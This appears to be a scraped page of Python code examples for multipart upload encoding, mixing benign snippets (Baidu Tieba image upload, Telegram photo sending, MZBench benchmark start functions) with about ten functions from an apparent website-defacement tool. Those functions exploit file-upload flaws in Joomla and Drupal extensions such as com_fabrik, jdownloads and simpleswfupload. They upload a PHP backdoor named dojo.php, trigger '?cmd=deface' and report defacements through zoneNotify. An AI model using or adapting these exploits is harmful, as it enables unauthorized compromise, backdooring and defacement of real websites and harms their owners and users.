Beispiel #1
0
 def Fabrik(self):
     try:
         site = self.site
         payload_url = str(site)+"/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1"
         fields = {
         "name" : "me.php",
         "drop_data" : "1",
         "overwrite" : "1",
         "field_delimiter" : ",",
         "text_delimiter" : """,
         "option" : "com_fabrik",
         "controller" : "import",
         "view" : "import",
         "task" : "doimport",
         "Itemid" : "0",
         "tableid" : "0"
         }
         files = {'userfile': {'filename': 'dojo.txt', 'content': defaceText}}
         data, headers = multipart.encode_multipart(fields, files)
         request = urllib2.Request(payload_url, data=data, headers=headers)
         f = urllib2.urlopen(request)
         backdoor_url = str(site)+"/media/dojo.txt"
         checker = urllib2.urlopen(backdoor_url).read()
         if(defaceText in checker):
             print "Defaced : "+str(backdoor_url)
             zoneNotify(backdoor_url)
     except:
         pass
Beispiel #2
0
    def upload_pic(self, image_file):
        fp = open(image_file, "rb")
        image_data = fp.read()
        fp.close()
        img_ext = os.path.splitext(image_file)[1]
        url = "http://upload.tieba.baidu.com/upload/pic"
        pic_url = "http://imgsrc.baidu.com/forum/pic/item/%s%s"
        content_type, body = encode_multipart(
            [("Filename", os.path.split(image_file)[1]), ("fid", "2196998"),
             ("tbs", self.get_common_imgtbs())],
            [("file", os.path.split(image_file)[1], image_data)])

        req = urllib2.Request(url,
                              data=body,
                              headers={"content-type": content_type})
        ret = self.opener.open(req).read()
        data = utils.parser_json(ret)
        try:
            content = {
                "src":
                pic_url % (data["info"]["pic_id_encode"], img_ext),
                "width":
                data["info"]["fullpic_width"]
                if int(data["info"]["fullpic_width"]) <= 500 else 500,
                "height":
                data["info"]["fullpic_height"]
                if int(data["info"]["fullpic_height"]) <= 450 else 450,
                "pic_type":
                data["info"]["pic_type"]
            }
            return content, data["info"]["full_sign1"]
        except KeyError:
            return False
Beispiel #3
0
 def upload_pic(self, image_file):
     fp = open(image_file, "rb")
     image_data = fp.read()
     fp.close()
     img_ext = os.path.splitext(image_file)[1]
     url = "http://upload.tieba.baidu.com/upload/pic"
     pic_url = "http://imgsrc.baidu.com/forum/pic/item/%s%s"
     content_type, body = encode_multipart(
         [("Filename", os.path.split(image_file)[1]),
          ("fid", "2196998"),
          ("tbs", self.get_common_imgtbs())],
         [("file", os.path.split(image_file)[1], image_data)])
     
     req  = urllib2.Request(url, data=body, headers={"content-type": content_type})
     ret = self.opener.open(req).read()
     data = utils.parser_json(ret)
     try:
         content = {"src" : pic_url % (data["info"]["pic_id_encode"], img_ext),
                    "width" : data["info"]["fullpic_width"] if int(data["info"]["fullpic_width"]) <= 500 else 500,
                    "height" : data["info"]["fullpic_height"] if int(data["info"]["fullpic_height"]) <= 450 else 450,
                    "pic_type" : data["info"]["pic_type"]
                    }
         return content, data["info"]["full_sign1"]
     except KeyError:
         return False
Beispiel #4
0
    def request_with_files(self,
                           url,
                           method,
                           body=None,
                           body_files=None,
                           headers=None,
                           *args,
                           **kwargs):
        """
        Note: Unlike the standard request method, the body & body_files params
        to this method should *not* be urlencoded strings. They should instead
        be urlencodable objects (e.g. a dict), and will be urlencoded
        automatically by this method after the body files are processed.
        """
        if body_files:
            body = encode_multipart(body, body_files)
            headers["Content-type"] = \
                    "multipart/form-data; boundary=%s" % BOUNDARY
            headers["Content-length"] = str(len(body))
        else:
            body = urllib.urlencode(body)
            headers.setdefault("Content-type",
                               "application/x-www-form-urlencoded")

        return super(Http, self).request(url, method, body, headers, *args,
                                         **kwargs)
Beispiel #5
0
 def upload(self, url, post_fields, file_champ):
     try:
         fields = post_fields
         files = {file_champ: {'filename': 'dojo.php', 'content': payload_data}}
         data, headers = multipart.encode_multipart(fields, files)
         request = urllib2.Request(url, data=data, headers=headers)
         f = urllib2.urlopen(request)
     except:
         pass
Beispiel #6
0
def start(host,
          script_file,
          script_content,
          node_commit,
          nodes,
          deallocate_after_bench,
          provision_nodes,
          exclusive_node_usage,
          emails=[],
          includes=[],
          env={}):

    if nodes is not None:
        if isinstance(nodes, int):
            params = [('nodes', nodes)]
        else:
            params = [('nodes', ','.join(nodes))]
    else:
        params = []

    if deallocate_after_bench is not None:
        params += [('deallocate_after_bench', deallocate_after_bench)]
    if provision_nodes is not None:
        params += [('provision_nodes', provision_nodes)]
    if exclusive_node_usage is not None:
        params += [('exclusive_node_usage', exclusive_node_usage)]
    if node_commit is not None:
        params += [('node_commit', node_commit)]

    params += [('email', email) for email in emails]
    params += [(k, v) for k, v in env.iteritems()]

    files = [('bench', {
        'filename': os.path.basename(script_file),
        'content': script_content
    })]

    for inc in includes:
        script_dir = os.path.dirname(script_file)
        filename = os.path.join(script_dir, inc)
        try:
            with open(filename) as fi:
                files.append(('include', {
                    'filename': inc,
                    'content': fi.read()
                }))
        except IOError:
            print "Warning: resource file '%s' is not found on the local machine" % filename

    body, headers = multipart.encode_multipart({}, files)

    return assert_successful_post(host,
                                  '/start',
                                  params,
                                  data=body,
                                  headers=headers)
def start(host, script_file=None, script_content=None,
        emails=[], packages=[], worker_package_with_default_scenario=None, user_repos=[], node_commit='master',
        nodes=1, deallocate_after_bench='true', dont_provision_nodes='false', exclusive_node_usage='true', 
        includes=[], env={}):

    if isinstance(nodes, int):
        params = [('nodes', nodes)]
    else:
        params = [('nodes', ','.join(nodes))]

    params += [('deallocate_after_bench', deallocate_after_bench)]
    params += [('dont_provision_nodes', dont_provision_nodes)]
    params += [('exclusive_node_usage', exclusive_node_usage)]
    params += [('package', p) for p in packages]
    params += [('email', email) for email in emails]
    params += [('user_repo', u) for u in user_repos]
    params += [('node_commit', node_commit)]
    params += [(k, v) for k, v in env.iteritems()]

    if script_file and script_content:
        files = [('bench',
            {'filename': os.path.basename(script_file),
             'content': script_content})]

        for inc in includes:
            script_dir = os.path.dirname(script_file)
            filename = os.path.join(script_dir, inc)
            try:
                with open(filename) as fi:
                    files.append(
                        ('include', {'filename': inc, 'content': fi.read()}))
            except IOError:
                print "Warning: resource file '%s' is not found on the local machine" % filename

        body, headers = multipart.encode_multipart({}, files)

        return assert_successful_post(
            host,
            '/start',
            params,
            data=body, headers=headers)
    elif worker_package_with_default_scenario:
        params += [('default_scenario_package', worker_package_with_default_scenario)]

        return assert_successful_post(
            host,
            '/start',
            params)

    print >>sys.stderr, "Neither script file nor default scenario package provided."
    sys.exit(17)
Beispiel #8
0
 def send_image(self, filename):
     files = [('photo', 'image.jpg', filename)]
     params =  [('chat_id', self.group_id)]
     parts = urllib.parse.urlparse(self.url + 'sendPhoto')
     scheme = parts[0]
     host = parts[1]
     selector = parts[2]                 
     content_type, body = multipart.encode_multipart(files, params)
     if scheme == 'http':
         host = http.client.HTTPConnection(host)
     elif scheme == 'https':
         host = http.client.HTTPSConnection(host)
     host.request('POST', self.url + 'sendPhoto', body=body, headers={'content-type':content_type, 'content-length':str(len(body))})
     host.getresponse()
Beispiel #9
0
 def DRGDROP(self):
     try:
         site = self.site
         url = str(site)+"/sites/all/modules/dragdrop_gallery/upload.php?nid=1&filedir=/drupal/sites/all/modules/dragdrop_gallery/"
         fields = {}
         files = {"user_file[0]": {'filename': 'dojo.php.gif', 'content': payload_data}, "user_file[1]": {'filename': 'dojo.php.jpg', 'content': payload_data}}
         data, headers = multipart.encode_multipart(fields, files)
         request = urllib2.Request(url, data=data, headers=headers)
         f = urllib2.urlopen(request).read()
         bd_path = str(site)+"/sites/all/modules/dragdrop_gallery/dojo.php.gif"
         if("DOJO::PENDING" in f):
             print "Backdoor : "+str(bd_path)
     except:
         pass
Beispiel #10
0
 def JDownloads(self):
     try:
         site = self.site
         url = str(site)+"/index.php?option=com_jdownloads&Itemid=0&view=upload"
         fields = {"name" : "CryptoRhythm", "mail" : "*****@*****.**", "catlist" : "1", "filetitle" : "dojo", "description" : "<p>Crypto</p>", "2d1a8f3bd0b5cf542e9312d74fc9766f" : "1", "send" : "1", "senden" : "Send file", "description" : "<p>Crypto</p>", "option" : "com_jdownloads", "view" : "upload"}
         files = {"file_upload": {'filename': 'dojo.php.zip', 'content': payload_data}, "pic_upload": {'filename': 'dojo.php.jpg', 'content': payload_data}}
         data, headers = multipart.encode_multipart(fields, files)
         request = urllib2.Request(url, data=data, headers=headers)
         f = urllib2.urlopen(request).read()
         bd_path = str(site)+"/images/jdownloads/screenshots/dojo.php.jpg"
         if("green" in f):
             checker = urllib2.urlopen(bd_path)
             print "Defaced : "+str(bd_path)
     except:
         pass
Beispiel #11
0
def start(host, script_file, script_content,
         node_commit, nodes, deallocate_after_bench, provision_nodes, 
         exclusive_node_usage, emails=[], includes=[], env={}
        ):

    if nodes is not None:
        if isinstance(nodes, int):
            params = [('nodes', nodes)]
        else:
            params = [('nodes', ','.join(nodes))]
    else:
        params = []

    if deallocate_after_bench is not None:
        params += [('deallocate_after_bench', deallocate_after_bench)]
    if provision_nodes is not None:
        params += [('provision_nodes', provision_nodes)]
    if exclusive_node_usage is not None:
        params += [('exclusive_node_usage', exclusive_node_usage)]
    if node_commit is not None:
        params += [('node_commit', node_commit)]
    
    params += [('email', email) for email in emails]
    params += [(k, v) for k, v in env.iteritems()]

    files = [('bench',
        {'filename': os.path.basename(script_file),
         'content': script_content})]

    for inc in includes:
        script_dir = os.path.dirname(script_file)
        filename = os.path.join(script_dir, inc)
        try:
            with open(filename) as fi:
                files.append(
                    ('include', {'filename': inc, 'content': fi.read()}))
        except IOError:
            print "Warning: resource file '%s' is not found on the local machine" % filename

    body, headers = multipart.encode_multipart({}, files)

    return assert_successful_post(
        host,
        '/start',
        params,
        data=body, headers=headers)
Beispiel #12
0
 def Efup(self):
     try:
         site = self.site
         payload_url = str(site)+"/plugins/content/efup_files/helper.php"
         fields = {"JPATH_BASE" : "../../../", "filesize" : "2000", "filetypes" : "*.*", "mimetypes" : "*", "destination" : "./"}
         files = {'Filedata': {'filename': 'dojo.php', 'content': payload_data}}
         data, headers = multipart.encode_multipart(fields, files)
         request = urllib2.Request(payload_url, data=data, headers=headers)
         f = urllib2.urlopen(request)
         backdoor_url = str(site)+"/dojo.php"
         checker = urllib2.urlopen(backdoor_url).read()
         if("DOJO::PENDING" in checker):
             print "Backdoor : "+str(backdoor_url)
             if(def_method == "deface"):
                 urllib2.urlopen(str(backdoor_url)+"?cmd=deface&def_page="+str(deface_page))
                 print "Defaced : "+str(site)
                 zoneNotify(site)
     except:
         pass
Beispiel #13
0
 def DentroVideo(self):
     try:
         site = self.site
         payload_url = str(site)+"/components/com_dv/externals/phpupload/upload.php"
         fields = {"action" : "upload"}
         files = {'file1': {'filename': 'dojo.php', 'content': payload_data}}
         data, headers = multipart.encode_multipart(fields, files)
         request = urllib2.Request(payload_url, data=data, headers=headers)
         f = urllib2.urlopen(request)
         backdoor_url = str(site)+"/dojo.php"
         checker = urllib2.urlopen(backdoor_url).read()
         if("DOJO::PENDING" in checker):
             print "Backdoor : "+str(backdoor_url)
             if(def_method == "deface"):
                 urllib2.urlopen(str(backdoor_url)+"?cmd=deface&def_page="+str(deface_page))
                 print "Defaced : "+str(site)
                 zoneNotify(site)
     except:
         pass
Beispiel #14
0
 def ArtUp(self):
     try:
         site = self.site
         payload_url = str(site)+"/modules/mod_artuploader/upload.php"
         fields = {"path" : "./"}
         files = {'userfile': {'filename': 'dojo.php', 'content': payload_data}}
         data, headers = multipart.encode_multipart(fields, files)
         request = urllib2.Request(payload_url, data=data, headers=headers)
         f = urllib2.urlopen(request)
         backdoor_url = str(site)+"/modules/mod_artuploader/dojo.php"
         checker = urllib2.urlopen(backdoor_url).read()
         if("DOJO::PENDING" in checker):
             print "Backdoor : "+str(backdoor_url)
             if(def_method == "deface"):
                 urllib2.urlopen(str(backdoor_url)+"?cmd=deface&def_page="+str(deface_page))
                 print "Defaced : "+str(site)
                 zoneNotify(site)
     except:
         pass
Beispiel #15
0
 def JFancy(self):
     try:
         site = self.site
         payload_url = str(site)+"/modules/mod_jfancy/script.php"
         fields = {}
         files = {'photoupload': {'filename': 'dojo.php.gif', 'content': payload_data}}
         data, headers = multipart.encode_multipart(fields, files)
         request = urllib2.Request(payload_url, data=data, headers=headers)
         f = urllib2.urlopen(request)
         backdoor_url = str(site)+"/images/dojo.php.gif"
         checker = urllib2.urlopen(backdoor_url).read()
         if("DOJO::PENDING" in checker):
             print "Backdoor : "+str(backdoor_url)
             if(def_method == "deface"):
                 urllib2.urlopen(str(backdoor_url)+"?cmd=deface&def_page="+str(deface_page))
                 print "Defaced : "+str(site)
                 zoneNotify(site)
     except:
         pass
Beispiel #16
0
 def Media(self):
     try:
         site = self.site
         value = "aW5kZXgucGhwP29wdGlvbj1jb21fbWVkaWEmdmlldz1pbWFnZXMmdG1wbD1jb21wb25lbnQmZmllbGRpZD0mZV9uYW1lPWpmb3JtX2FydGljbGV0ZXh0JmFzc2V0PWNvbV9jb250ZW50JmF1dGhvcj0="
         payload_url = str(site)+"/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder="
         fields = {
             "return-url" : value
         }
         files = {'Filedata': {'filename': 'dojo.txt', 'content': defaceText}}
         data, headers = multipart.encode_multipart(fields, files)
         request = urllib2.Request(payload_url, data=data, headers=headers)
         f = urllib2.urlopen(request)
         backdoor_url = str(site)+"/images/dojo.txt"
         checker = urllib2.urlopen(backdoor_url).read()
         if(defaceText in checker):
             print "Defaced : "+str(backdoor_url)
             zoneNotify(backdoor_url)
     except:
         pass
Beispiel #17
0
 def SWUp(self):
     try:
         site = self.site
         payload_url = str(site)+"/administrator/components/com_simpleswfupload/uploadhandler.php"
         fields = {}
         files = {'Filedata': {'filename': 'dojo.php.gif', 'content': payload_data}}
         data, headers = multipart.encode_multipart(fields, files)
         request = urllib2.Request(payload_url, data=data, headers=headers)
         f = urllib2.urlopen(request)
         backdoor_url = str(site)+"/images/stories/dojo.php.gif"
         checker = urllib2.urlopen(backdoor_url).read()
         if("DOJO::PENDING" in checker):
             print "Backdoor : "+str(backdoor_url)
             if(def_method == "deface"):
                 urllib2.urlopen(str(backdoor_url)+"?cmd=deface&def_page="+str(deface_page))
                 print "Defaced : "+str(site)
                 zoneNotify(site)
     except:
         pass
Beispiel #18
0
    def request_with_files(self, url, method, body=None, body_files=None,
                           headers=None, *args, **kwargs):
        """
        Note: Unlike the standard request method, the body & body_files params
        to this method should *not* be urlencoded strings. They should instead
        be urlencodable objects (e.g. a dict), and will be urlencoded
        automatically by this method after the body files are processed.
        """
        if body_files:
            body = encode_multipart(body, body_files)
            headers["Content-type"] = \
                    "multipart/form-data; boundary=%s" % BOUNDARY
            headers["Content-length"] = str(len(body))
        else:
            body = urllib.urlencode(body)
            headers.setdefault("Content-type",
                               "application/x-www-form-urlencoded")

        return super(Http, self).request(url, method, body,
                                         headers, *args, **kwargs)
Beispiel #19
0
    def send_image(self, filename):
        files = [('photo', 'image.jpg', filename)]
        params = [('chat_id', self.group_id)]

        # Build multipart/form data
        parts = urllib.parse.urlparse(self.url + 'sendPhoto')
        scheme = parts[0]
        host = parts[1]
        selector = parts[2]
        content_type, body = multipart.encode_multipart(files, params)

        # Send multipart/form data
        if scheme == 'http':
            host = http.client.HTTPConnection(host)
        elif scheme == 'https':
            host = http.client.HTTPSConnection(host)
        host.request('POST',
                     self.url + 'sendPhoto',
                     body=body,
                     headers={
                         'content-type': content_type,
                         'content-length': str(len(body))
                     })
        host.getresponse()
Beispiel #20
0
def start(host,
          script_file,
          script_content,
          node_commit=None,
          nodes=None,
          workers_per_node=None,
          deallocate_after_bench=None,
          provision_nodes=None,
          exclusive_node_usage=None,
          benchmark_name=None,
          cloud=None,
          tags=None,
          emails=[],
          includes=[],
          env={}):
    """Starts a bench

    :param host: MZBench API server host with port
    :type host: str
    :param script_file: Scenario filename for dashboard
    :type script_file: str or unicode
    :param script_content: Scenario content to execute
    :type script_content: str or unicode
    :param node_commit: Commit or branch name for MZBench node, default is "master"
    :type node_commit: str
    :param nodes: Number of nodes to allocate or node list, 1 by default
    :type nodes: int or list of strings
    :param workers_per_node: Number of workers to start on one node
    :type workers_per_node: int
    :param deallocate_after_bench: Deallocate nodes after bench is over
    :type deallocate_after_bench: "true" or "false"
    :param provision_nodes: Install required software
    :type provision_nodes: "true" or "false"
    :param exclusive_node_usage: Allocate exclusive nodes if allocator supports this mode
    :type exclusive_node_usage: "true" or "false"
    :param benchmark_name: Set benchmark name
    :type benchmark_name: str or unicode
    :param cloud: Specify cloud provider to use
    :type cloud: str or unicode
    :param tags: Benchmark tags
    :type tags: str
    :param emails: Emails to notify on bench results
    :type emails: List of strings
    :param env: Dictionary of environment variables to substitute
    :type env: Dictionary
    :returns: Operation status
    :rtype: Dictionary
    """
    import erl_utils
    import bdl_utils
    import math

    script_utils = bdl_utils if bdl_utils.is_bdl_scenario(
        script_content) else erl_utils

    script_terms = script_utils.convert(script_content, env)
    includes = script_utils.get_includes(script_terms)

    if workers_per_node is not None:
        desired_num_nodes = int(
            math.ceil(
                float(script_utils.get_num_of_workers(script_terms)) /
                float(workers_per_node)))
    else:
        desired_num_nodes = None

    if nodes is not None:
        if isinstance(nodes, int):
            params = [
                ('nodes',
                 desired_num_nodes if desired_num_nodes is not None else nodes)
            ]
        else:
            params = [('nodes',
                       ','.join(nodes[:desired_num_nodes]
                                if desired_num_nodes is not None else nodes))]
    else:
        params = [] if desired_num_nodes is None else [('nodes',
                                                        desired_num_nodes)]

    if deallocate_after_bench is not None:
        params += [('deallocate_after_bench', deallocate_after_bench)]
    if provision_nodes is not None:
        params += [('provision_nodes', provision_nodes)]
    if exclusive_node_usage is not None:
        params += [('exclusive_node_usage', exclusive_node_usage)]
    if benchmark_name is not None:
        params += [('benchmark_name', benchmark_name)]
    if cloud is not None:
        params += [('cloud', cloud)]
    if tags is not None:
        params += [('tags', tags)]
    if node_commit is not None:
        params += [('node_commit', node_commit)]

    params += [('email', email) for email in emails]
    params += [(k, v) for k, v in env.items()]

    files = [('bench', {
        'filename': os.path.basename(script_file),
        'content': script_content
    })]

    for (incname, incurl) in includes:
        script_dir = os.path.dirname(script_file)

        if not re.search(r'^https?://', incurl, re.IGNORECASE):
            filename = os.path.join(script_dir, incurl)
            try:
                with open(filename) as fi:
                    files.append(('include', {
                        'filename': incurl,
                        'content': fi.read()
                    }))
            except IOError as e:
                print("Failed to get content for resource ({0}, {1}): {2}".
                      format(incname, incurl, e),
                      file=sys.stderr)
                raise

    body, headers = multipart.encode_multipart({}, files)

    return assert_successful_post(host,
                                  '/start',
                                  params,
                                  data=body,
                                  headers=headers)
Beispiel #21
0
def start(host, script_file, script_content,
          node_commit = None, nodes = None, workers_per_node = None, deallocate_after_bench = None,
          provision_nodes = None, exclusive_node_usage = None, benchmark_name = None,
          cloud = None, emails=[], includes=[], env={}
        ):
    """Starts a bench

    :param host: MZBench API server host with port
    :type host: str
    :param script_file: Scenario filename for dashboard
    :type script_file: str or unicode
    :param script_content: Scenario content to execute
    :type script_content: str or unicode
    :param node_commit: Commit or branch name for MZBench node, default is "master"
    :type node_commit: str
    :param nodes: Number of nodes to allocate or node list, 1 by default
    :type nodes: int or list of strings
    :param workers_per_node: Number of workers to start on one node
    :type workers_per_node: int
    :param deallocate_after_bench: Deallocate nodes after bench is over
    :type deallocate_after_bench: "true" or "false"
    :param provision_nodes: Install required software
    :type provision_nodes: "true" or "false"
    :param exclusive_node_usage: Allocate exclusive nodes if allocator supports this mode
    :type exclusive_node_usage: "true" or "false"
    :param benchmark_name: Set benchmark name
    :type benchmark_name: str or unicode
    :param cloud: Specify cloud provider to use
    :type cloud: str or unicode
    :param emails: Emails to notify on bench results
    :type emails: List of strings
    :param env: Dictionary of environment variables to substitute
    :type env: Dictionary
    :returns: Operation status
    :rtype: Dictionary
    """
    import erl_utils
    import math

    script_terms = erl_utils.convert(script_content, env)
    includes = erl_utils.get_includes(script_terms)

    if workers_per_node is not None:
        desired_num_nodes = int(math.ceil(float(erl_utils.get_num_of_workers(script_terms))/float(workers_per_node)))
    else:
        desired_num_nodes = None

    if nodes is not None:
        if isinstance(nodes, int):
            params = [('nodes', desired_num_nodes if desired_num_nodes is not None else nodes)]
        else:
            params = [('nodes', ','.join(nodes[:desired_num_nodes] if desired_num_nodes is not None else nodes))]
    else:
        params = [] if desired_num_nodes is None else [('nodes', desired_num_nodes)]

    if deallocate_after_bench is not None:
        params += [('deallocate_after_bench', deallocate_after_bench)]
    if provision_nodes is not None:
        params += [('provision_nodes', provision_nodes)]
    if exclusive_node_usage is not None:
        params += [('exclusive_node_usage', exclusive_node_usage)]
    if benchmark_name is not None:
        params += [('benchmark_name', benchmark_name)]
    if cloud is not None:
        params += [('cloud', cloud)]
    if node_commit is not None:
        params += [('node_commit', node_commit)]
    
    params += [('email', email) for email in emails]
    params += [(k, v) for k, v in env.iteritems()]

    files = [('bench',
        {'filename': os.path.basename(script_file),
         'content': script_content})]

    for (incname, incurl) in includes:
        script_dir = os.path.dirname(script_file)

        if not re.search(r'^https?://', incurl, re.IGNORECASE):
            filename = os.path.join(script_dir, incurl)
            try:
                with open(filename) as fi:
                    files.append(('include',
                        {'filename': incurl, 'content': fi.read()}))
            except IOError as e:
                print >>sys.stderr, "Failed to get content for resource ({0}, {1}): {2}".format(
                        incname, incurl, e)
                raise

    body, headers = multipart.encode_multipart({}, files)

    return assert_successful_post(
        host,
        '/start',
        params,
        data=body, headers=headers)
Beispiel #22
0
def start(host, script_file, script_content,
          node_commit = None, nodes = None, deallocate_after_bench = None,
          provision_nodes = None, exclusive_node_usage = None, benchmark_name = None,
          emails=[], includes=[], env={}
        ):
    """Starts a bench

    :param host: MZBench API server host with port
    :type host: str
    :param script_file: Scenario filename for dashboard
    :type script_file: str or unicode
    :param script_content: Scenario content to execute
    :type script_content: str or unicode
    :param node_commit: Commit or branch name for MZBench node, default is "master"
    :type node_commit: str
    :param nodes: Number of nodes to allocate or node list, 1 by default
    :type nodes: int or list of strings
    :param deallocate_after_bench: Deallocate nodes after bench is over
    :type deallocate_after_bench: "true" or "false"
    :param provision_nodes: Install required software
    :type provision_nodes: "true" or "false"
    :param exclusive_node_usage: Allocate exclusive nodes if allocator supports this mode
    :type exclusive_node_usage: "true" or "false"
    :param benchmark_name: Set benchmark name
    :type benchmark_name: str or unicode
    :param emails: Emails to notify on bench results
    :type emails: List of strings
    :param includes: List of files to include
    :type includes: List of strings
    :param env: Dictionary of environment variables to substitute
    :type env: Dictionary
    :returns: Operation status
    :rtype: Dictionary
    """

    if nodes is not None:
        if isinstance(nodes, int):
            params = [('nodes', nodes)]
        else:
            params = [('nodes', ','.join(nodes))]
    else:
        params = []

    if deallocate_after_bench is not None:
        params += [('deallocate_after_bench', deallocate_after_bench)]
    if provision_nodes is not None:
        params += [('provision_nodes', provision_nodes)]
    if exclusive_node_usage is not None:
        params += [('exclusive_node_usage', exclusive_node_usage)]
    if benchmark_name is not None:
        params += [('benchmark_name', benchmark_name)]
    if node_commit is not None:
        params += [('node_commit', node_commit)]
    
    params += [('email', email) for email in emails]
    params += [(k, v) for k, v in env.iteritems()]

    files = [('bench',
        {'filename': os.path.basename(script_file),
         'content': script_content})]

    for inc in includes:
        script_dir = os.path.dirname(script_file)
        filename = os.path.join(script_dir, inc)
        try:
            with open(filename) as fi:
                files.append(
                    ('include', {'filename': inc, 'content': fi.read()}))
        except IOError:
            print "Warning: resource file '%s' is not found on the local machine" % filename

    body, headers = multipart.encode_multipart({}, files)

    return assert_successful_post(
        host,
        '/start',
        params,
        data=body, headers=headers)